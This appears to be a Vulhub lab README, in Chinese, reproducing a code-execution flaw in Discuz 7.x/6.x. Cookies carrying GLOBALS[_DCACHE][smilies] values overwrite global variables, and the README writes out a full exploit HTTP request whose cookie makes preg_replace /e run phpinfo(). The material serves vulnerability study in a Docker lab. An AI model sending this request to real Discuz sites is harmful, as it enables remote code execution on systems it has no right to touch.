Discuz 7.x/6.x 全局變量防御繞過導致代碼執行
Path discuz/wooyun-2010-080723
由于php5.3.x版本里php.ini的設置里request_order默認值為GP,導致$_REQUEST中不再包含$_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全局變量,造成代碼執行漏洞。
具體原理請參考:
漏洞環境
執行如下命令啟動Discuz 7.2:
docker-compose up -d
啟動后,訪問http://your-ip:8080/install/來安裝discuz,數據庫地址填寫db,數據庫名為discuz,數據庫賬號密碼均為root。

漏洞復現
安裝成功后,直接找一個已存在的帖子,向其發送數據包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();:
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
可見,phpinfo已成功執行:

網上文章說需要一個帶表情評論的帖子,實際測試發現并不需要,這塊仍需閱讀代碼來解釋原因。
Vulhub 文檔